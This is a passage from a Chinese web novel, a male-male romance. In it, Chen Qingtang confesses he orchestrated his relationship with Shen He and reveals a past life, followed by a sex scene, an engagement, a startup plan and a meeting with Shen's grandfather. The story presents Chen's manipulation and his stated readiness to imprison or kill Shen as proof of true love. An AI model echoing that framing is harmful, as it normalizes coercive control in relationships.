他低着头,那两瓣性感的薄唇微微紧抿,似乎想从脑子里混乱的记忆中,扯出一条清晰的逻辑线出来。 陈清棠不急,安静地等着他。 直到沈鹤再次开口问:“后来我们的之间的相处,接触,有多少是你有意设计的。” 陈清棠直视他,缓缓道:“全部。” 语调温柔的两个字,却如同一座大山朝沈鹤压来。 陈清棠不紧不慢道:“我们第一次联手打的那场辩论赛还记得吗,是我让楚希去故意安排的,我很清楚地知道,你需要的是灵魂的共鸣,所以我选择了在那样一个场合,引起你的注意。” “后来我说我鼻子敏感,只对你的气味不抗拒,也是一个接近你的借口,我故意做出让你误会的事,挑起你的情绪,然后再解开误会,利用你的愧疚心理,接机跟你关系更近……” “还有五一假期露营,我们玩儿的那个游戏,是我提前跟楚希打好了招呼,注定我们会拿到同一对牌,然后一起玩游戏,游戏内容也是我跟楚希定好的……” 陈清棠不停地说着,像是对着法官细数自己的罪状。 但他的面色始终沉静,不像是在忏悔,反而有几分理直气壮的嚣张。 说了半晌,忽然意识到沈鹤已经很久没出声了。 陈清棠顿了下,抬头就望进了沈鹤一双黑沉的眸子,沉不见底。 沉得好像能托住他所有的罪恶,湮灭包容他所有的罪行。 陈清棠有一瞬哑然,说不明地微微别开了头:“后面的事,你通过我的马甲,应该也全部推断出来了。是不是觉得很窒息,很沉重。” 沈鹤:“嗯。” 让沈鹤觉得沉重的,不是陈清棠的那些算计和心机,而是这份超出他认知的爱。 这是沈鹤第一次清晰地感受到,陈清棠爱他,爱得要比他想象中重很多。 而构成这如山般沉重的东西,是始终贯穿着这份爱的偏执,强求。 要废多大的心力,才能布下这么一张天衣无缝的网? 要有多深的偏执,才能忍受着沈鹤本性里自带的冷漠,锲而不舍地给他这块木头浇水,守着他直到开花? 除此外,这份沉重还来自于沈鹤觉得——他不配。 他怎么配得上陈清棠这样倾心相待。 沈鹤提出了他的第二个问题:“你的目的是什么。图我什么。” 他的嗓音很轻,带着点期待和鼓励。 陈清棠也不知道自己怎么了,没来由地烦躁:“图你啊,还能图什么。你觉得我图什么?” 下一刻,陈清棠就被拥入了一个温暖的怀抱,刚冒出来的刺被沈鹤的温柔尽数溶解。 陈清棠垂下眼不说话了。 这个拥抱,明明是用来安抚陈清棠的,但沈鹤却从中汲取到了勇气和力量。 沈鹤像是不太满意他的答案:“你要什么我都给你找来。你要什么我都给。我愿意。” 陈清棠张了张嘴,最终又闭上。 沈鹤终于下定决心,把他的心剖开给陈清棠看一看:“我其实不好。除开沈家赋予的光环外,我就是个普通人。” “而且是个性格有很大缺陷的普通人,我不会爱人,性格寡淡无趣,甚至偏执、阴暗……那些光明磊落,坦然守德,都只是我的表皮。” “我的家庭也不好,从小到大,我连家里窗台上的一盆花都不如,它们尚且能得到母亲的偶尔关心,我像个仓库里的垃圾一样,我的父母是看我一眼都嫌晦气。” 陈清棠眼神逐渐变得柔软,怜惜,他没说话,只是抬起手抱住沈鹤,轻轻拍着他的背。 沈鹤继续说:“我也想跟你无话不谈,谈彼此的家庭,谈互相的伤口和脆弱……但它们让我觉得羞耻,难堪。” “我怕你喜欢的是,那个在学校里被捧上神坛的天之骄子沈鹤,喜欢那个浑身都是光环的沈鹤,怕你不喜欢那个会被父亲一脚踹飞的沈鹤,不喜欢那个会被父亲随意贬低、打骂的沈鹤。” 陈清棠亲吻他的耳朵:“不。不会。” 沈鹤把他抱得更紧,揉进骨血般:“我只有这个沈家唯一继承人的漂亮外皮,除此外,我什么都没有……我希望你只图我这个人,但我又觉得我没什么好让你图的,我为你感到不值。” “所以又希望你图点别的,比如我未来的身份,手里的钱权,哪怕我现在没有,但我将来会有,这样你才不会吃亏,但我又莫名不甘心……” 好矛盾,搞不懂。 陈清棠无奈又坚定地再次告诉他:“我图的就是你这个人。跟其他的一切都没有关系。” 沈鹤嗓音发闷:“那你很吃亏。” 陈清棠沉默片刻,决定再爆一件事:“你记得我之前跟你说过,我那段失败的感情吗。” 沈鹤:“嗯。” 陈清棠推开沈鹤,同他目光相接:“你相信前世今生吗。” 沈鹤微怔,没回答,眼里却后知后觉地,缓慢地,升起复杂的东西,像是猜到什么,又像是不可置信,还像是疑惑和探究。 陈清棠平和道:“如果我说,我是重生的,那段感情其实就是我和你上辈子真实发生过的事,你信吗。” 沈鹤眼睫微不可见地颤动了下,更长久地沉默了,甚至呼吸变得轻慢。 最后他垂目,不知是苦涩还是庆幸般笑了下:“不管我信不信,这样确实更说得通了。” 为什么陈清棠第一次见面,就开始对他撒网。 为什么他们之间起初都没什么交集,陈清棠却能锲而不舍地对他付出心血,耐心地、一步步地来钓他,教会他怎么去爱。 还有为什么沈鹤偶尔能感觉到,每次他不开窍时,陈清棠钓他,若即若离的飘忽态度里,有几分发泄般怨气。 陈清棠看不透此刻沈鹤在想什么,继续坦白道:“上辈子我们是相亲认识的,没有感情基础,但我其实早就暗恋你,而你对我是一见钟情但不自知,相亲后刚好觉得彼此条件合适,就我们结婚了。” 沈鹤:“再然后呢。” 陈清棠:“婚后其实过得不错,但我执着于想要你的爱,所以心里很苦,那时我不知道你是一片贫瘠的土地,开不出我想要的花,我只以为你就是不爱我,我是个很高傲的人,我的高傲不允许我在感情里受挫……” “所以后来我也把我的感情藏了起来,我们明明一起生活,每晚甚至相拥而眠,但心意不通,最后在结婚第四年,我车祸去世了,我以为我是带着遗憾走的,直到我脑子里多了很多信息,才发现原来你是爱我的,你只是不会爱。” 沈鹤掰着手指骨节,目光缓而沉地看着陈清棠:“然后你……发现一切还来得及,想跟我重来,拥有一个比较好的结局?” 陈清棠在他的目光里点了头:“嗯。” 他知道沈鹤很聪明,就算他不说,迟早沈鹤心里也会怀疑他的动机,怀疑他的爱。 而怀疑会导致不安,不安就会猜忌,猜来猜去两人的心就远了。 所以这件事,也必须在今晚说开。 陈清棠头一次有点不确定地去牵沈鹤的手:“你,你会介意吗?” 陈清棠:“不管我对你做什么,都只是单纯地出于爱,没别的想法。” 沈鹤捉住他的手,放在唇边珍惜地吻,并不回答,而是说:“你知道一只小猫的故事吗。” “有天主人的小猫走丢了,主人找了它很久,找得心力交瘁,每天吃不下睡不着。” “在主人已经伤心欲绝时,有天他路过一家宠物店,忽然心头一动,抱着最后的希望踏入了宠物店,结果却在店里发现了自己的小猫,而小猫看到主人的那一刻也非常高兴。” 陈清棠逐渐明白了他要说什么。 沈鹤:“最后主人失而复得,把小猫买了回去。小猫没有问主人,为什么那天要踏进那家宠物店。他们仍然过得很幸福。” 陈清棠:“他们都很幸运。” 沈鹤浅淡地笑起来:“嗯,所以我们也很幸运。我知道你很爱我,你的爱全都给了我,这就够了。” 他们的爱,难道还容不下这么一点灰暗的东西吗? 那这样的爱也太脆弱了,不会经得起任何考验。 关于时空,关于重生,那已经不是人力所能掌控的东西了,沈鹤只想抓住这意外的幸运。 对他来说,这辈子他得到的陈清棠的爱,是上帝格外的恩赐。 所以他百倍珍惜。 陈清棠也笑了,他凑近沈鹤的耳边,轻声细语:“那我再告诉你一件事,其实我在大一刚开学,军训的时候就喜欢你了。” 也就是说,在他重生回来之前,陈清棠就已经喜欢沈鹤了。 陈清棠对沈鹤的喜欢,不是开始于那段婚姻里的沈鹤,而是开始于大一时的沈鹤。 沈鹤眸色很明显地亮了两分:“军训时我不记得见过你。” 陈清棠长得这么出众,如果见过应该会有印象的。 陈清棠搂住他的脖子,眉眼弯弯:“我见过你就好,当时你留着一个寸头,还是旗手,每天走在方阵的前面,帅气,威风,冷着一张脸性感死了……” “你都不知道,那时好多人对你犯花痴。” 沈鹤掐住他的腰:“你呢。” 陈清棠眼波流转,低头在他唇上啄了下:“我当然也犯过……我当时就想,啧,这男生长得真劲儿,手长腿长的,气质也好。” “要是压着我……肯定特别带劲儿。” 沈鹤眸色一瞬暗沉,他猛地翻身将陈清棠压倒在床上,一只手握住陈清棠的两只手腕,把他的双手拉到头顶:“是这样吗。” 陈清棠嘴角勾起笑,眼神引诱中带着鼓励:“啊,是这样,表情再凶一点就更性感了。” 于是沈鹤就很凶地低头来吻他,凶得将他的呼吸和口液都掠夺殆尽。 吻得陈清棠喘不过气,脸上逐渐开始泛起潮红。 ……… 今晚沈鹤凶得不行,完全不像平时那样克制,他把陈清棠不断地抛起,又接住,再抛起…… 陈清棠感觉自己像在大海里浮沉,一颗心怎么都着不到地,只能更紧地抓住罪魁祸首,企图从他身上得到一点安全感的慰藉。 本来带了三个小孩嗝屁袋,结果很快就被一个又一个,毫不怜惜地扔到了地上。 完全超出陈清棠的预料了。 陈清棠神经绷紧到极致,红着眼求饶:“别来了,你疼疼我好不好……” 沈鹤漆黑的眸子含着不见底的贪婪,手指替他拨开额前汗涔涔的碎发:“你明明很喜欢。” 陈清棠不自觉打着颤,目光涣散,他只能扬起修长的脖颈,企图缓解灵魂出窍的恐惧感。 不知道过了多久,偶一抬眼,发现沈鹤正认真又不可自拔地看着他,眼里满是爱意。 陈清棠心头一动,伸着软绵绵的胳膊去抱他:“所以你懂了吗。” 沈鹤嗓音哑得像被火燎过一般:“什么。” 陈清棠:“我也只是个普通人,没什么光环,我的伤疤就是上辈子爱而不得,我也会有求不到的东西……” 话音刚落,陈清棠整个人被骤然抛起,他喉咙里发出奇怪的咕噜声,瞳孔都翻白一瞬。 沈鹤咬他耳朵,嗓音低又沉,宛如要将他拆吃入腹一般:“我给你,都补给你,够吗?” 陈清棠鼻尖都红了:“不够。” 沈鹤便更凶猛地折磨他、疼惜他、怜爱他:“够吗?” 陈清棠眼角已经被逼出了泪,但他仍然自虐般,伸出手搂住沈鹤,向沈鹤索求:“不够……不够……沈鹤,我要更多……” 沈鹤不再说话,只是不断地给他,填满他。 这一刻沈鹤才发现,原来陈清棠也没有安全感。 原来陈清棠的那些游刃有余,不过是他给自己壮胆的伪装。 这个人是个高傲的胆小鬼,明明也害怕付出了会得不到回报,明明也恐惧对方无法给他同等重量的爱…… 越是害怕,越是恐惧,表面越是泰然、轻松,越是一副一切都在自己掌控中的模样。 企图骗过别人,也骗过自己。 直到今晚,他们才算是彻底跟彼此交融,在这份爱里,稳稳当当地托住了彼此。 从此不会再有秘密,不会再有隐瞒,也不会再有不安。 他们相爱又相知,是彼此的后盾,是彼此的港湾。 朦胧中,陈清棠听见沈鹤问他:“如果我最终没有上钩,你的一切算计都白费了,你要怎么办。” 陈清棠努力把视线聚拢焦,目光落在沈鹤脸上。 就那样沉静地看了他几秒,然后缓缓笑起来,手指抚上沈鹤的嘴角: “那我就……毁了你,或者囚。禁,或者杀了你然后殉情。” “得不到,就毁掉。沈鹤,我不比你正常多少,所以你不必觉得自己阴暗、变态。我的脑子也是坏的。” 明明是很恐怖的发言,但沈鹤的心脏却被填得好满,他低头满是爱意地吻上陈清棠: “好。别放过我。” 他们天生一对。 陈清棠宛如毒蛇般缠紧他:“幸好你很乖,乖乖地按照我给你的剧本,走到了我面前来……” 又问:“你呢,你会不会觉得,我太心机?” 沈鹤又低头吻他,和风细雨地填满他,取悦他:“我没看到心机,我只看到一个很执着,说聪明却又有点笨笨的小猫,千方百计地来向我求爱。” “他说,他跟我兴趣相投,所以爱他吧,他说,他懂我理解我,所以爱他吧,他说他有一副不输给别人好皮囊,所以爱他吧,他说,我想要的他都有,所以爱他吧……” “他捧着自己的真心,巴巴地来到我面前,不管我是冷漠对待,还是推开他,他都坚定地选择我,希望我回头看他,爱他。” “其实他心里也很怕吧。” 沈鹤的语气很温柔,轻轻的,陈清棠的眼泪却从眼角滑落。 沈鹤笑着替他吻掉泪珠:“怎么了?” 陈清棠不愿承认,闭了闭眼:“太爽了,爽的。” 就感觉,两辈子的委屈都被沈鹤看见了,沈鹤还小心翼翼地把每一片都怜爱地捡起来,珍藏着。 陈清棠觉得自己值了。 所有人,包括跟陈清棠最亲近的楚希,都只看到了在这段感情里,陈清棠的高高在上和游刃有余。 只有沈鹤,看到了陈清棠的卑微、疲惫,还有隐藏起来的胆小和恐惧。 以及孤注一掷的狠决。 他们之间是一场钓鱼游戏,但陈清棠一开始就是以身入局,拿自己打的窝。 一开始,陈清棠就比沈鹤更加没有退路,所以他才钓沈鹤钓得那么狠,不允许沈鹤也有退路。 沈鹤不断地亲吻他:“我爱你陈清棠,你特别美好,我爱你……被你迷死了……难以自拔,心甘情愿,我爱你……” 陈清棠一边难耐地承受着,一边抽出两分清明回他:“沈哥,你是不是喜欢sweettalk。” 这个男人,明明平时话那么少,简直惜字如金。 但一做。爱,或者一亲密,话就会变多。 会不停地告白,不停地夸陈清棠,不停地表达自己的爱意,什么好听的话都会说。 沈鹤停下来看他,微眯起眼:“嗯?那是什么。” 低磁的嗓音透着浓重的情。潮,性感到陈清棠耳朵都要炸了。 陈清棠拿鼻尖顶着他的鼻尖厮磨:“没什么,我喜欢……再多说几句。” 这一晚,两人都极尽疯狂,累到精疲力尽。 结束时,陈清棠是昏过去的。 沈鹤抱着他去洗漱,将他完全清理干净,然后再用毛毯将人裹起来,小心翼翼地放在床上,抱着他睡觉。 第二天沈鹤醒来时,发现已经是下午四点了。 沈鹤下意识反应去摸手机,想看看时间,顺便点个外卖,等会儿陈清棠醒了就能吃 结果一抬手,忽然发现自己的手指上多了一枚戒指 沈鹤心跳猛然一滞,第一反应就是 ——这是陈清棠对他求婚的回应魔·蝎·小·说·MOXIEXS &M.o.X.i.exs& 第 71 章【VIP】 第71章第71章爱你,我的宝贝 陈清棠醒来时,发现沈鹤正坐在书桌前,面前放着一台电脑,手指飞快地打着字。 他伸手去拿桌上的水杯,刚一动,浑身骨头都要散架似的,耳边仿佛听到了咯吱的声音。 陈清棠忍不住蹙眉,轻嘶了声。 听到声音的沈鹤,立刻回头。 见他醒了,站起身坐到了床边来,将陈清棠半抱在了怀里,然后拿过水杯喂到他嘴边:“慢点喝。” 等陈清棠喝完了,沈鹤又把杯子放回去,搂着他轻轻一摇一晃的,手还拍着他的背:“很疼吗。” 陈清棠轻呼了口气,有点怨怪地嗔了他一眼:“昨晚我还以为,我要死床上了。太可恶了……” 沈鹤嘴角勾起一抹温柔的笑:“不会。” 抓过旁边的毯子,给陈清棠裹上,这才发现陈清棠一直目不转睛地盯着他。 沈鹤:“怎么了?” 陈清棠:“你笑了。以前从来没看到过你笑。” 沈鹤就低头亲他:“怎么会。” 陈清棠整个人窝在他怀里:“真的。” 以前的沈鹤,哪怕是心情愉悦,嘴角弯起一点弧度,但下一刻就会很快被抹平。 就好像,在沈鹤的潜意识里,有什么不允许他笑一样。 但现在的沈鹤,仿佛解开了某种枷锁一般,笑得很自然,而且很好看。 眉眼弯弯,嘴角轻挑,五官破冰般柔和。 让人想到抬头仰望的晴空,想到四月春风里一片鹅黄灿烂的野花,想到阳光下的绿色盈盈的青草,想到湖心粼粼的七彩水光…… 想到世界上一切美好,自由的东西。 陈清棠忍不住掐住他的下巴,亲吻他的嘴角,鼻尖:“宝贝,你笑起来真好看,以后多笑。” 沈鹤安静地看着他,看了两秒后,猝不及防就把人扑倒了。 细密的吻落在身上,陈清棠心都凉了半截,挣扎着用脚踹他:“滚开!” 昨晚给他留下心理阴影了。 要早知道沈鹤疯起来是那个样子…… 陈清棠闭了闭眼,算了:“再不停,后面一周你都见不到我。” 沈鹤动作顿住,抱着他坐起来:“别这样,好残忍。” 陈清棠冷眼睨他,直接扒开毛毯,露出斑驳细密的红痕,他整个人像一朵被摧残到破碎的玫瑰: “我残忍?看看你干的好事。” 脖子,锁骨,所有莹白的皮肤,都是青一块紫一块,吻痕遍布,一路至脚踝,没一处是好的。 陈清棠今天连短裤都不敢穿。 沈鹤手指在他的皮肤上流连摩挲,眸色沉得见不到底:“宝贝你真漂亮……” 陈清棠的所有地方,他都到过了,碰过了。 这个人,从里到外,都被他的气息染透了,已经完完全全是属于他的了,属于他沈鹤的了。 陈清棠打开他的手:“我去洗漱。” 沈鹤却不放开他,一只手搂着他,一只手伸到他眼前:“这个戒指是你给我戴上的吗。” 陈清棠看了眼,漫不经心地:“嗯呐。” 半夜起来上厕所,想给沈鹤一个惊喜,就偷偷给他戴上的。 沈鹤将人抱得更紧了:“我很喜欢。这是答应我求婚的意思吗。” 陈清棠:“嗯。” 沈鹤把脸埋在他脖颈间,嗓音微颤:“我好高兴……特别高兴。” 陈清棠眼神变得温柔:“好了。过几天我们一起回去,见见我父母好吗。” 沈鹤:“我们,要订婚吗。” 陈清棠:“你说呢。” 这不是显而易见的事吗。 沈鹤深吸一口气:“好。订婚。” 早定下来更安心,陈清棠实在太招人了,订了婚他就可以名正言顺地向所有人宣布,这是他的人。 陈清棠进去洗漱,顺便洗了个澡。 半个小时候从浴室出来,发现沈鹤又坐在了书桌前,摆弄着电脑。 陈清棠擦着头发走过去,低头看了两眼,微讶:“你要开公司?” 沈鹤拉着他胳膊,让人坐在自己怀里,抱着他一起看屏幕:“不是,资金不够,暂时就弄一个工作室,而且……工作室的钱也不够,暂时开不起来。” 陈清棠:“为什么忽然想做工作室?” 沈鹤亲他的耳朵:“想给我自己,也给你一个保障。” 以前,沈鹤自己被沈父拿捏就拿捏了吧,反正他无欲无求的,怎么都好,听从家里的安排也不是那么难以忍受。 家里总不至于让他去死。 但现在,沈鹤已经决心要挣脱沈父的控制,他不会再听从任何沈父不合理的安排,任何让他不舒服的安排。 那第一件事,肯定就是要经济独立,让沈父无法再用钱控制他。 哪怕沈父停了他的银行卡,断了他家里的经济来源,沈鹤也有其他的收入,能支撑他生活,支撑他给陈清棠买东西。 更何况,依照沈父的性子,怕是不会同意沈鹤跟陈清棠在一起。 就算沈爷爷再努力说服,沈父睁一只眼闭一只眼,让他们结了婚,那婚后的日子,陈清棠肯定也不会太好过。 沈父会通过拿捏沈鹤,来拿捏住陈清棠,不断地找茬,直到他们两人都妥协。 只要陈清棠爱沈鹤,也许就会为了沈鹤,不得不跟沈父低头,妥协。 那个局面,沈鹤绝不愿意看到。 他受过的委屈,感受过的窒息,绝不想让陈清棠跟着受一遍。 所以沈鹤现在就要为了以后做准备。 沈鹤抱着陈清棠,就感觉自己拥有了全世界:“等工作室开起来了,赚钱了,家里就拿我没办法了。” 陈清棠:“好,我帮你。” 沈鹤浅笑:“你怎么帮我?你也会编程?” 他开的大概是一个计算机方面的工作室,给别的公司外包做项目的,主要工作就是码程序,写代码。 目前工作室需要起步资金,只能先这样给别人打工赚钱,积累点本金。 而且沈鹤虽然拿过计算机方面的大奖,编程学的也不错,但他没什么实际做项目的经验,一开始也只能摸着石头过河。 就当锻炼了。 陈清棠笑了下,捧着他的脸亲了一口:“我不会编程,但我会摇人。” 然后当着沈鹤的面,拿出手机给楚希发消息。 陈清棠:希希宝,起床没有 楚希:说吧什么事 陈清棠:你真聪明 楚希:你每次有事求我,就会喊我宝,被你拿捏死了 陈清棠:是这样的,沈鹤想开个工作室,没钱,你可以给点吗 沈鹤胸膛微颤:“这样不好吧。” 太直接了。 陈清棠毫不在意:“没事,他有钱。他的存钱加上我的存钱,就够你开工作室的本金了。” “而且,真正亲密的关系,就是这样的,互相帮助,不分彼此,记住了吗?” 沈鹤:“嗯。记住了。” 楚希很快发来一长串数字,那是银行卡的卡号,然后是一串密码。 楚希:拿去,我从小到大的压岁钱都在里面了,记得给我股份,挣了钱我要分红 陈清棠:好哒[微笑] 沈鹤:“他压岁钱很多吗?” 陈清棠一挑眉:“他家有钱,他家亲戚也有钱,过年过节的,红包少于2W都觉得磕碜,你说呢。” 他曾经看到,楚希的爸爸一个月给他的零花钱,都是二十万起步的转账。 沈鹤算了算:“那确实挺有钱。” 陈清棠一笑,仰头看他:“还能比你有钱?” 沈家不说在全国,起码在当地他们这里,是绝对的权威,楚希家都排不上号。 沈鹤:“我的钱都被家里管控了,过年过节的红包,压岁钱,也都在我父亲手里。” 太多了,别人一送,都是送一栋别墅,一辆限量版跑车。 沈父想要拿捏沈鹤,自然会把他的所有经济来源,都把控在手里,所以那些东西,虽然对沈家来说算不上什么,但也落不到沈鹤手里。 陈清棠软玉温声:“以后我养你啊。” 沈鹤笑了笑:“好。” 陈清棠又低头发消息:希希宝,你老公醒了吗 楚希瞬间炸了:别乱叫,他在我旁边 陈清棠:问问你老公,有兴趣加入一个刚开的工作室吗,以后有钱大家一起赚,做原始股东,总比出去给别人打工受气强 楚希:我问问他 沈鹤微好奇:“是周辰吗,他计算机很厉害吗。” 陈清棠把玩着沈鹤修长漂亮的手指:“听楚希说很厉害。但他也算有经验了,这个暑假,周辰就在跟着他们老师做项目,能力应该还不错吧。” “反正你们俩都算是新手,一起摸索着做呗,而且白手起家,自己人信得过一些。” 沈鹤赞同:“嗯。好,那就听你的。” 楚希的回信来了:辰哥说他可以 楚希:还问你们是不是要人,他室友也很不错,而且很缺钱,可以带一个吗 陈清棠把手机界面给沈鹤看:“你想怎么办。” 沈鹤问:“信得过吗。我不太喜欢复杂的交际。” 陈清棠原话问了楚希。 楚希:啊,他室友我见过,很木很奇怪的一个人,满脑子都只知道写代码,话比沈鹤还少,但人品还可以 沈鹤:“收了。” 陈清棠:好,收了 陈清棠回头搂住沈鹤的脖子:“那接下来就我养你了,你安心创业,衣食住行我全包。” 沈鹤忍不住笑:“好。你钱够吗?不够我再找一份工。” 陈清棠哼哼:“我现在比你有钱,我家庭也不差的。不够的话,我回家问我爸妈要,他们肯定愿意养你这个潜力股儿婿。” “订了婚,你就是我家的人了。” 沈鹤面色犹豫,下意识想说什么。 陈清棠先一步堵住他的嘴:“别说让我生气的话。” “我以为从昨晚后,我们身心就都是一体的了,以后风雨同舟,互相扶持,不会再分你的我的,我们是世界上最亲密的两个灵魂。” 沈鹤心口说不明的一股暖流:“好。” 他把下巴搁在陈清棠的肩头:“这是我长这么大,第一次做什么,有人坚定地站在我身边。跟我一起面对事情,一起解决困难。” 从小到大,沈鹤想做什么,总是做不成,沈父会以各种理由扼杀他。 后来大了,沈鹤想做什么,学会了偷偷背着沈父去做。 但这也意味着,他要独自面对事情,独自承担风险。 没有人支持他,没有人给他兜底,没有人知道他的压力。 事情失败后,他要独自收拾烂摊子。 比如高中时期,沈鹤其实有一次创业经历,被人拿捏着经济命脉的感觉不好受,所以沈鹤想赚点钱。 结果失败了,倒欠1W,还好数目不多 但沈鹤也不敢问家里要,不敢让父亲发现,只能偷偷做点兼职,把钱还上。 现在陈清棠来了,陈清棠站在他身边,什么都陪他一起,支持他,帮他分担风险,给他兜底,照顾他的情绪…… 沈鹤头一回体会到了有底气的感觉。 陈清棠面色柔和下来:“是吗。没关系,以后不管怎样你都不是一个人了。” 沈鹤把他抱得更紧:“我不会让你失望的。” 陈清棠温柔地抚摸他的软发:“好了,不要给自己太大压力,我们一起做,慢慢地做就好。” 沈鹤嗯了声。 说再多话,再多的承诺,都比不上行动。 他会用行动证明给陈清棠看。 — 在沈鹤决定跟陈清棠一起回家的前一天,他约沈爷爷出来见了一面。 安静的咖啡厅,爷孙俩各自坐在一方,沉默地喝着咖啡。 半晌,沈鹤才问:“家里,还好吗。” 沈爷爷叹气:“你父亲那个脾气,你又不是不知道。没事,我再劝劝,他难道还能跟你怄一辈子不成?” 沈鹤认真回答:“有可能。” 沈鹤也时常在想,在沈父心里,到底什么最重要呢,沈家吗,但又似乎不是的。 反正不可能是他。 他这个儿子对沈父来说,无关紧要,无足轻重。 小学时,沈鹤试过离家出走,以此来唤起父母对自己的感情,想看看父母在不在乎自己。 结果走了一个星期,除了家里的阿姨,没有人发现他离家出走了,没有人来问他一句。 最后沈鹤只能自己安静地回家去。 从那时起沈鹤就知道,他还不如父母书桌上的一个茶杯。 起码茶杯不见了,他们还会找一找。 沈爷爷劝说:“你也别跟家里怄气,离了家里,你还是个学生,要怎么生活。” 沈鹤淡笑:“爷爷,我弄了个工作室,以后我自己挣钱了。” 沈爷爷一愣:“你爸把你卡都停了,你怎么弄的?启动资金哪儿来的?” 沈父在经济上对沈鹤管控得多严厉,他是知道的。 这些招数,也是他当年对沈父用过的。 沈鹤脸色很开阔,眼神生机勃勃:“我爱人帮的忙。钱有了,合伙人也有。” 沈爷爷缓缓明白过来,一颗悬着的心落了地,却有点说不明的酸涩。 明明这是他们作为父母亲人该做的,最后他们却还不如一个外人做得好。 沈爷爷没泼凉水,只是说:“那,那你好好做。” 也许等沈父看到,沈鹤脱离他也活得很好,沈父就能明白,孩子这么大了他早就掌控不了了,然后自己放弃。 沈鹤又说:“我要去见他的家长,您来吗?代表我的家长。” 沈爷爷:“这么快?” 沈鹤抿了口咖啡:“嗯。我们都想早点定下来。定下来我心安一些,他太好了,怕被别人抢走。” 说着,沈鹤竟然笑了。 沈爷爷看着他的笑,惊讶得有种恍若隔世的感觉:“你变了好多。” 那个不苟言笑的孙子,原来也会说这种调侃打趣的玩笑话。 沈鹤点头:“嗯。因为爱养人。” 沈爷爷想了想:“你父母还是爱你的,虽然方式不对……” 沈鹤平和地注视着那双苍老浑浊的眼睛:“他们有没有爱,我不知道。但我知道,他们没有让我拥有自信,底气,没有让我觉得幸福。” “你所说的他们的爱,养出的是一个自卑,无趣,阴暗,孤独,傲气,糟糕透了的人。” 沈爷爷张了张嘴,哑口无言。 沈鹤:“自信,底气,开朗,温柔,这些正能量的东西,只有爱那种营养丰富的土壤,才能养出来,贫瘠的土壤只能养出尸体,或者变异种,哪怕看着优秀,却是内里完全腐烂的变异种。” 能变异出来,都只能算是孩子自己生命力顽强,挣扎着向上活下来的。 高压就是高压,苛刻教育就是苛刻教育,它们并不是什么人才的温床。 如果侥幸养成了人才,那也是人才自己顽强努力,自己争气,所以才在那样难受的环境下,长成了人才。 但后遗症一大堆,就像是野外长出的苹果,虽然结果了,却又小又丑。 任何高压教育,苛刻教育,变态教育,都只是父母能力不足,给不出好东西,但又贪心,所以只能强压逼迫孩子的劣质手段。 如果能长成又大又漂亮还甜的苹果,难道孩子会自己选择,甘愿长得又小又丑吗。 沈爷爷沉默良久:“你父母……他们也是没办法……” 沈鹤喝了口水:“是吗,我们家很穷吗。” 沈爷爷一顿,摇摇头。 沈鹤:“那我是个很糟糕,成天只知道玩乐,扶不起来的阿斗吗,或者我不聪明,不努力,很笨吗。” 沈爷爷再次摇摇头:“你很聪明,很优秀,从小你就超出同龄人一大截,你父母在你小学前基本不关注你的教育,但你还是次次考满分,拿第一,处事也学得很快,总是很得体。” 沈鹤点点头:“你得承认,哪怕是放养我,我也不会长得很差,我也会是一个合格的沈氏继承人。” 沈爷爷叹气:“是的。” 沈鹤犀利反问:“所以到底为什么要那么对我。” 明明沈父那些压迫他、让他窒息的教育和规训,完全是不必要的。 在经济条件完美,其他条件也不差的情况下,这对父母把沈鹤这个先天就很好的苗子,养成了一个——坏种。 坏掉的果子。 沈鹤垂目看着桌上的水杯:“我一直觉得,我心理有问题。” “但我也不知道我哪里出了问题,直到他来了,我逐渐明白了。” 这段感情里,沈鹤不曾主动一点。 他不是不想主动,他是已经不会主动了,完全失去了主动的能力。 因为心脏是死的,没有期待的能力,没有做梦、幻想美好的能力,所以没有行动的动力。 沈鹤连青春期都没有,他没有对任何一个人心动过,产生过朦胧的感情 甚至在对陈清棠一见钟情时,沈鹤都是察觉不到的。 因为沈鹤的心,完全麻木,他早就失去了感知情感的能力。 全都是陈清棠在前面牵着他,一点点带着他往前走。 一点点给他造梦,给予他幻想的能力,给予他去追求什么、热爱什么的动力。 然后沈鹤才逐渐活过来。 沉默很久,沈爷爷最终摆摆手:“算了,不说了。你以后过得好就行。” 沈鹤又抬起头,浅笑:“我以后会过得好的。我的苦都吃完了。” 沈爷爷看向窗外:“你走吧,让他进来,我跟他谈谈。” 沈鹤顿了下。 沈爷爷慈祥地笑:“安心,我不会为难他,就是见一见,你不是还让我去见他的家长吗?” 沈鹤安静地看了他几秒,最终起身往外走去。 几分钟后 陈清棠先问了个好:“我也叫您爷爷?第一次见面太仓促,没带礼物,不好意思。” 沈爷爷:“没事,随意点就好,我作为长辈不也没给你小辈带礼物。” 陈清棠脸上是礼貌的笑:“听他说您想见我?是有事要说吗。” 沈爷爷目光一直在端详、审视着陈清棠,但面色始终是和善的。 其实沈爷爷年轻时,长得很凶,经常是一横眉冷眼,就能把沈父吓得浑身冒汗。 但老了后,脸上皱纹一多,再加上心境平和了,眼底戾气去了不少,整个人看起来倒也算是和善。 沈爷爷看了他半晌,笑着说:“就想看看你长什么样。” 陈清棠:“那您,还满意吗。” 沈爷爷喝着咖啡:“长得真好看。要是你或者小鹤,谁是个姑娘就好了,你们俩生的娃一定特别好看。” 话说完了,沈爷爷才后知后觉有点不太对,忙说:“你别误会,你是个男娃我也接受。我就是忽然那么一想。” 陈清棠温和点头:“嗯,我明白。” 沉默片刻,沈爷爷问:“听说你们认识的时间不长,才半年,那你了解小鹤是个什么样的人吗?” 他看沈鹤的样子,一颗心是彻底吊死在了陈清棠身上的。 但又怕陈清棠是荷尔蒙上头,所以才跟他家那木头孙子在一起的,怕陈清棠没想好。 陈清棠轻易就看破了他的意图,双手合十搁在桌面上,整个人认真又端正:“嗯。我了解他。” “我知道他不是沉默寡言,只是没有人能让他放心、放松地表达自己。” “我知道他不是太过独立,而是没有人站在他身旁,没有人做他的底气。” “我知道他不是高傲,他只是对一切都没什么感觉,所以看一切都没有欲望,对一切都无所谓。” “我知道他渴望爱,但又怕失望,所以干脆不再去期望。我知道他的一切……” 沈爷爷听完这番话后,忽然觉得自己的孙子,变得熟悉又陌生。 他们做长辈的,好像从来没去理会过,沈鹤到底想要怎样,沈鹤的内心是怎样的。 陈清棠:“所以您放心,把他交给我。” 沈爷爷笑起来,无奈又庆幸地感叹:“放心的,放心的……” 还有什么不放心的。 又问:“如果以后沈鹤要跟他的父母对立,他的父母想要从你入手,跟沈鹤缓和关系,你会怎么做?” 陈清棠两眼弯弯:“您这是要考我?” 沈爷爷摆摆手:“考不考的,以后你肯定会面临这个情况,我只是提前说出来,想看看你要怎么解决。” 